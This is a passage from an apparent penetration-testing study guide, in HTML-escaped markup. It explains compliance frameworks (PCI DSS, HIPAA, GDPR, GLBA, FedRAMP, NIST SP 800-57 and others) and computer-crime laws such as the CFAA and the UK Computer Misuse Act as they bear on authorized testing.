&lt;strong&gt;Current Version:&lt;/strong&gt; PCI DSS v4.0 (released March 2022, enforced from March 2024)&lt;/p&gt;

&lt;p&gt;PCI DSS is arguably the most directly relevant compliance framework for penetration testers because it &lt;strong&gt;explicitly requires penetration testing&lt;/strong&gt; as a compliance control.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PCI DSS v4.0 Key Requirements:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Requirement&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Req. 11.3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Implement a methodology for penetration testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Req. 11.3.1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;External penetration test performed at least once every 12 months and after any significant infrastructure or application upgrade/change&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Req. 11.3.2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Internal penetration test performed at least once every 12 months&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Req. 11.3.3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Exploitable vulnerabilities must be corrected and penetration testing repeated to verify remediation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Req. 11.3.4&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Segmentation controls must be tested if network segmentation is used to isolate the CDE&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key PCI DSS Concepts:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cardholder Data Environment (CDE):&lt;/strong&gt; The people, processes, and technology that store, process, or transmit cardholder data or sensitive authentication data. Defining the CDE boundary is the first step in a PCI DSS penetration test scoping exercise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PAN — Primary Account Number:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The 16-digit (or variable-length) number on a payment card. PAN is the most sensitive piece of cardholder data. Under PCI DSS, PAN must be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Rendered unreadable anywhere it is stored (via hashing, truncation, tokenization, or encryption)&lt;/li&gt;
&lt;li&gt;Never sent unencrypted over open networks&lt;/li&gt;
&lt;li&gt;Masked when displayed (only the first six and last four digits may be shown)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If PAN is found during a penetration test in an unprotected location (e.g., in plaintext in a log file, database, or email), this is a critical finding with direct compliance implications.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tokenization:&lt;/strong&gt; The process of replacing sensitive data (PAN) with a non-sensitive equivalent (a token) that has no exploitable value. The mapping between the token and the real PAN is stored in a secure token vault.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Truncation:&lt;/strong&gt; Removing segments of PAN data so that only a portion is retained (e.g., displaying only the last four digits).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scoping for PCI DSS Penetration Tests:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The scope of a PCI DSS penetration test must include:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;All components in the CDE&lt;/li&gt;
&lt;li&gt;All components that could impact the security of the CDE (connected systems)&lt;/li&gt;
&lt;li&gt;Segmentation controls between the CDE and other networks&lt;/li&gt;
&lt;li&gt;All external-facing systems (web applications, APIs, payment portals)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;QSA — Qualified Security Assessor:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A company and individual certified by the PCI SSC to perform PCI DSS assessments. QSAs are the authorized personnel who conduct formal PCI DSS compliance audits. A penetration tester working within a PCI DSS context will often coordinate with or report findings to a QSA.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PFI — PCI Forensic Investigator:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A company certified by the PCI SSC to investigate cardholder data breaches. When a confirmed or suspected breach of cardholder data occurs, a PFI is engaged to conduct forensic analysis, determine the scope of the breach, identify the root cause, and prepare a final incident report. As a penetration tester, you may interface with PFIs if a test uncovers evidence of a pre-existing breach.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ISA — Internal Security Assessor:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
An individual who has been certified by the PCI SSC to perform PCI DSS self-assessments for their own organization. Unlike QSAs, ISAs work internally within a single organization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SAQ — Self-Assessment Questionnaire:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A validation tool for merchants and service providers who are permitted to self-assess their compliance with PCI DSS. Different SAQ types apply based on how an organization processes card data.&lt;/p&gt;


&lt;h4&gt;
  
  
  HIPAA — Health Insurance Portability and Accountability Act
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Full Name:&lt;/strong&gt; Health Insurance Portability and Accountability Act of 1996&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Governing Body:&lt;/strong&gt; U.S. Department of Health and Human Services (HHS), Office for Civil Rights (OCR)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Applies to:&lt;/strong&gt; Covered Entities (healthcare providers, health plans, healthcare clearinghouses) and their Business Associates&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Jurisdiction:&lt;/strong&gt; United States (federal law)&lt;/p&gt;

&lt;p&gt;HIPAA protects the privacy and security of &lt;strong&gt;Protected Health Information (PHI)&lt;/strong&gt; — any individually identifiable health information held or transmitted by a covered entity or its business associates.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Types of PHI:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;PHI includes any information that can be used to identify an individual and relates to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Past, present, or future physical or mental health condition&lt;/li&gt;
&lt;li&gt;Provision of healthcare&lt;/li&gt;
&lt;li&gt;Past, present, or future payment for healthcare&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;18 HIPAA Identifiers&lt;/strong&gt; that make health information "individually identifiable":&lt;br&gt;
Names, geographic data, dates (other than year), phone numbers, fax numbers, email addresses, Social Security numbers, medical record numbers, health plan beneficiary numbers, account numbers, certificate/license numbers, VINs, device identifiers, web URLs, IP addresses, biometric identifiers, full-face photographs, and any other unique identifying number or code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ePHI — Electronic Protected Health Information:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
PHI that is created, stored, transmitted, or received in electronic form.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HIPAA Rules Relevant to Penetration Testing:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rule&lt;/th&gt;
&lt;th&gt;Relevance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Security Rule&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Requires covered entities to conduct periodic risk assessments and implement administrative, physical, and technical safeguards for ePHI. Penetration testing is a component of technical safeguard implementation and risk analysis.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Privacy Rule&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Governs the use and disclosure of PHI. During a penetration test, care must be taken not to access or exfiltrate actual PHI.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Breach Notification Rule&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Requires notification of affected individuals, HHS, and (in some cases) media in the event of an unsecured PHI breach. If a penetration tester accidentally accesses ePHI systems beyond agreed scope, this may trigger breach notification obligations.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Penetration Testing Under HIPAA:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;HIPAA does not explicitly mandate penetration testing, but it &lt;strong&gt;does require&lt;/strong&gt; risk analysis (45 CFR § 164.308(a)(1)) and risk management. The HHS/OCR has consistently issued guidance indicating that penetration testing is a recognized method of fulfilling the risk analysis requirement.&lt;/p&gt;

&lt;p&gt;Key considerations for HIPAA-regulated penetration tests:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Must be authorized in writing by the covered entity's compliance officer or legal counsel&lt;/li&gt;
&lt;li&gt;Test should avoid actual access to real patient data — test environments with synthetic data are strongly preferred&lt;/li&gt;
&lt;li&gt;Any inadvertent exposure of ePHI during testing must be reported to the covered entity immediately&lt;/li&gt;
&lt;li&gt;Testers handling any ePHI must be covered under a signed &lt;strong&gt;Business Associate Agreement (BAA)&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Penalties for HIPAA violations&lt;/strong&gt; range from $100 to $50,000 per violation (per category), with annual caps and potential criminal prosecution for willful violations.&lt;/p&gt;


&lt;h4&gt;
  
  
  GDPR — General Data Protection Regulation
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Full Name:&lt;/strong&gt; General Data Protection Regulation&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Governing Body:&lt;/strong&gt; European Data Protection Board (EDPB); enforced by national Data Protection Authorities (DPAs) in each EU member state&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Applies to:&lt;/strong&gt; Any organization that processes personal data of EU/EEA residents, regardless of where the organization is located&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Effective Date:&lt;/strong&gt; May 25, 2018&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Jurisdiction:&lt;/strong&gt; European Union / European Economic Area; extraterritorial effect globally&lt;/p&gt;

&lt;p&gt;GDPR is the most comprehensive and globally influential data privacy regulation in existence. Its extraterritorial scope means that a U.S.-based company processing the data of EU customers is subject to GDPR.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key GDPR Definitions:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Term&lt;/th&gt;
&lt;th&gt;Definition&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Personal Data&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Any information relating to an identified or identifiable natural person (the "data subject")&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Data Subject&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The natural person whose personal data is being processed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Controller&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The entity that determines the purposes and means of processing personal data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Processor&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The entity that processes personal data on behalf of the controller&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Processing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Any operation performed on personal data (collection, storage, use, disclosure, erasure)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Data Protection Officer (DPO)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A designated expert in data protection who must be appointed by certain organizations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Supervisory Authority&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The national body responsible for enforcing GDPR in each member state&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;GDPR Principles (Article 5):&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Lawfulness, fairness, and transparency&lt;/strong&gt; — Data must be processed legally, fairly, and transparently&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Purpose limitation&lt;/strong&gt; — Data collected for specific, explicit, and legitimate purposes must not be further processed in a way incompatible with those purposes&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data minimisation&lt;/strong&gt; — Only data that is necessary for the specified purpose should be collected&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Accuracy&lt;/strong&gt; — Data must be accurate and kept up to date&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Storage limitation&lt;/strong&gt; — Data should not be kept for longer than necessary&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integrity and confidentiality&lt;/strong&gt; — Data must be processed in a manner that ensures appropriate security (including protection against unauthorized access)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Accountability&lt;/strong&gt; — The controller is responsible for and must be able to demonstrate compliance&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;GDPR Relevance to Penetration Testing:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Penetration testing firms acting as processors must have a &lt;strong&gt;Data Processing Agreement (DPA)&lt;/strong&gt; with the controller client&lt;/li&gt;
&lt;li&gt;If a penetration test accidentally accesses personal data of EU residents, this may constitute a personal data breach under GDPR&lt;/li&gt;
&lt;li&gt;Under Article 33, a data breach must be reported to the supervisory authority &lt;strong&gt;within 72 hours&lt;/strong&gt; of becoming aware of it&lt;/li&gt;
&lt;li&gt;Penetration test reports containing personal data must be handled in accordance with GDPR data minimisation and security principles&lt;/li&gt;
&lt;li&gt;Testing must only be performed after explicit, documented &lt;strong&gt;written authorization&lt;/strong&gt; from the data controller&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;GDPR Penalties:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tier 1:&lt;/strong&gt; Up to €10 million or 2% of global annual turnover, whichever is higher&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tier 2:&lt;/strong&gt; Up to €20 million or 4% of global annual turnover, whichever is higher&lt;/li&gt;
&lt;/ul&gt;


&lt;h4&gt;
  
  
  GLBA — Gramm-Leach-Bliley Act
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Full Name:&lt;/strong&gt; Gramm-Leach-Bliley Act (also known as the Financial Services Modernization Act of 1999)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Governing Body:&lt;/strong&gt; Federal Trade Commission (FTC), banking regulators (OCC, Fed, FDIC, NCUA)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Applies to:&lt;/strong&gt; Financial institutions — banks, insurance companies, securities firms, mortgage companies, investment advisors, and any other company that offers financial products or services to consumers&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Jurisdiction:&lt;/strong&gt; United States (federal law)&lt;/p&gt;

&lt;p&gt;GLBA requires financial institutions to explain their information-sharing practices to their customers and to safeguard sensitive data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Three Key Rules Under GLBA:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rule&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Financial Privacy Rule&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Requires financial institutions to provide customers with privacy notices explaining what information is collected and how it is shared&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Safeguards Rule&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Requires financial institutions to implement a comprehensive Written Information Security Program (WISP) with administrative, technical, and physical safeguards&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Pretexting Provisions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Prohibits the practice of obtaining customer information under false pretenses&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;GLBA Safeguards Rule — Penetration Testing Implications:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The FTC's updated Safeguards Rule (effective June 9, 2023) explicitly requires:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Penetration testing&lt;/strong&gt; of information systems at least annually&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vulnerability assessments&lt;/strong&gt; at least every six months&lt;/li&gt;
&lt;li&gt;Continuous monitoring or periodic testing of key controls&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Nonpublic Personal Information (NPI/NPPI):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The category of information GLBA protects — includes names, addresses, Social Security numbers, income, account numbers, payment history, and other financial information.&lt;/p&gt;


&lt;h4&gt;
  
  
  FedRAMP — Federal Risk and Authorization Management Program
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Full Name:&lt;/strong&gt; Federal Risk and Authorization Management Program&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Governing Body:&lt;/strong&gt; U.S. General Services Administration (GSA), FedRAMP Program Management Office (PMO)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Applies to:&lt;/strong&gt; Cloud Service Providers (CSPs) seeking to offer services to U.S. federal government agencies&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Established:&lt;/strong&gt; 2011&lt;/p&gt;

&lt;p&gt;FedRAMP provides a standardized approach to security assessment, authorization, and continuous monitoring for cloud products and services used by the federal government.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;FedRAMP Impact Levels:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Level&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Examples&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Low&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Loss of confidentiality, integrity, or availability would have a limited adverse effect&lt;/td&gt;
&lt;td&gt;Public-facing informational websites&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Moderate&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Loss would have a serious adverse effect&lt;/td&gt;
&lt;td&gt;The majority of government systems — financial systems, employee records&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;High&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Loss would have a severe or catastrophic adverse effect&lt;/td&gt;
&lt;td&gt;Law enforcement, emergency services, financial systems with significant impact&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;FedRAMP and Penetration Testing:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;FedRAMP requires CSPs to conduct penetration testing as part of their authorization process:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Must follow &lt;strong&gt;NIST SP 800-115&lt;/strong&gt; (Technical Guide to Information Security Testing and Assessment)&lt;/li&gt;
&lt;li&gt;Annual penetration tests are required for authorized cloud systems&lt;/li&gt;
&lt;li&gt;Tests must be coordinated with the relevant federal agency's Authorizing Official (AO)&lt;/li&gt;
&lt;li&gt;Test plans must be reviewed and approved before execution&lt;/li&gt;
&lt;li&gt;Results must be integrated into the CSP's Plan of Action and Milestones (POA&amp;amp;M)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;JAB — Joint Authorization Board:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The primary governing body for FedRAMP consisting of CIOs from DoD, DHS, and GSA. The JAB can grant &lt;strong&gt;Provisional Authority to Operate (P-ATO)&lt;/strong&gt; — a provisional security authorization for cloud services that can then be leveraged by individual agencies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ATO — Authority to Operate:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The official decision by an Authorizing Official that a system is authorized to operate at an acceptable level of risk. ATOs are granted for specific systems after a security assessment is completed.&lt;/p&gt;


&lt;h4&gt;
  
  
  NIST SP 800-57 — Recommendation for Key Management
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Full Name:&lt;/strong&gt; NIST Special Publication 800-57, "Recommendation for Key Management"&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Part 1:&lt;/strong&gt; General — Provides guidance on defining the security services that may be needed, the algorithms and key types that may be used, and the requirements for their secure management&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Published by:&lt;/strong&gt; National Institute of Standards and Technology (NIST)&lt;/p&gt;

&lt;p&gt;While SP 800-57 is specifically about &lt;strong&gt;cryptographic key management&lt;/strong&gt;, it is relevant to penetration testers because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Key management weaknesses are frequently discovered during penetration tests (hardcoded keys, weak key storage, improper key rotation)&lt;/li&gt;
&lt;li&gt;Many compliance frameworks (PCI DSS, FedRAMP, HIPAA) reference NIST key management standards&lt;/li&gt;
&lt;li&gt;Understanding cryptographic concepts allows testers to identify and explain encryption-related vulnerabilities&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Key Types Defined in NIST SP 800-57:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Key Type&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Private Signature Key&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Used in asymmetric signing to generate digital signatures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Public Signature Verification Key&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Used to verify digital signatures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Symmetric Authentication Key&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Used to provide data origin authentication and data integrity protection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Private Key-Agreement Key&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Used in asymmetric key-agreement schemes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Symmetric Key-Wrapping Key&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Used to encrypt other keys for storage or transport&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Master Key&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Used to derive other keys&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Session Key&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Used to protect communication during a single session&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key States (Lifecycle):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Keys move through defined states:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Pre-activation&lt;/li&gt;
&lt;li&gt;Active&lt;/li&gt;
&lt;li&gt;Suspended&lt;/li&gt;
&lt;li&gt;Deactivated&lt;/li&gt;
&lt;li&gt;Compromised&lt;/li&gt;
&lt;li&gt;Destroyed&lt;/li&gt;
&lt;li&gt;Destroyed/compromised&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A penetration tester who finds keys that have not been properly rotated, or that are in an incorrect lifecycle state, has identified a key management vulnerability with potentially severe implications.&lt;/p&gt;


&lt;h4&gt;
  
  
  Other Regulatory Frameworks and Standards Worth Knowing
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;SOX — Sarbanes-Oxley Act (2002):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Applies to publicly traded companies in the United States. Section 404 requires management and external auditors to report on the adequacy of internal controls over financial reporting. IT General Controls (ITGCs), which include access controls and change management, are relevant to penetration testing in SOX-regulated environments.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;FISMA — Federal Information Security Management Act:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Requires federal agencies to develop, document, and implement an information security and protection program. FISMA compliance requires security assessments that often include penetration testing, following NIST guidelines.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CCPA — California Consumer Privacy Act:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
California state law that gives consumers rights over their personal information and requires businesses to disclose data collection practices. Similar in scope to GDPR but limited to California residents.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ISO/IEC 27001:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The international standard for information security management systems (ISMS). Organizations certified to ISO 27001 have demonstrated that they have implemented a systematic and documented approach to managing information security risks. Annex A of ISO 27001 includes controls related to penetration testing and technical vulnerability management.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CIS Controls (Center for Internet Security Controls):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A set of prioritized security actions designed to defend against the most prevalent cyber attacks. CIS Control 18 (Penetration Testing) specifically addresses the need for regular penetration testing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SOC 2 — System and Organization Controls 2:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
An auditing procedure developed by the AICPA for service organizations. SOC 2 reports assess controls relevant to the Trust Services Criteria: Security, Availability, Processing Integrity, Confidentiality, and Privacy. Many SaaS companies pursue SOC 2 Type II certification, which requires evidence of security controls including penetration testing results.&lt;/p&gt;


&lt;h3&gt;
  
  
  2.1.3 Local Restrictions
&lt;/h3&gt;

&lt;p&gt;Beyond international frameworks, penetration testers must be acutely aware of &lt;strong&gt;jurisdiction-specific laws&lt;/strong&gt; that may affect the legality of their activities.&lt;/p&gt;
&lt;h4&gt;
  
  
  The Problem of Jurisdictional Complexity
&lt;/h4&gt;

&lt;p&gt;A penetration test may involve:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A tester located in Country A&lt;/li&gt;
&lt;li&gt;A client headquartered in Country B&lt;/li&gt;
&lt;li&gt;Systems hosted in Country C (cloud provider)&lt;/li&gt;
&lt;li&gt;Data from users in Country D&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each jurisdiction may have different laws governing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Unauthorized access to computer systems&lt;/li&gt;
&lt;li&gt;Interception of network communications&lt;/li&gt;
&lt;li&gt;Encryption use and export&lt;/li&gt;
&lt;li&gt;Data residency requirements&lt;/li&gt;
&lt;li&gt;Privacy and data protection&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This creates a legal minefield that must be navigated carefully during scoping.&lt;/p&gt;


&lt;h4&gt;
  
  
  Major Computer Crime Laws by Jurisdiction
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;United States — Computer Fraud and Abuse Act (CFAA):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
18 U.S.C. § 1030 — The primary U.S. federal statute criminalizing unauthorized access to computer systems. Key provisions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Prohibits "knowingly" accessing a computer "without authorization" or exceeding authorized access&lt;/li&gt;
&lt;li&gt;Applies to any computer "used in or affecting interstate or foreign commerce"&lt;/li&gt;
&lt;li&gt;Penalties range from fines to imprisonment up to 20 years for aggravated violations&lt;/li&gt;
&lt;li&gt;The "authorization" element is critical — this is why a written, signed authorization document is the penetration tester's most important legal protection&lt;/li&gt;
&lt;li&gt;Civil liability: Computer owners can sue for damages under 18 U.S.C. § 1030(g)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;United States — Electronic Communications Privacy Act (ECPA):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Prohibits interception of electronic communications. During a penetration test involving network traffic capture (packet sniffing), the tester must have explicit authorization covering this activity, or risk violating ECPA.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;United Kingdom — Computer Misuse Act 1990 (CMA):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The UK's primary computer crime statute. The CMA creates three offenses:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Section 1: Unauthorized access to computer material&lt;/li&gt;
&lt;li&gt;Section 2: Unauthorized access with intent to commit further offenses&lt;/li&gt;
&lt;li&gt;Section 3: Unauthorized acts with intent to impair computer operation&lt;/li&gt;
&lt;/ul&gt;

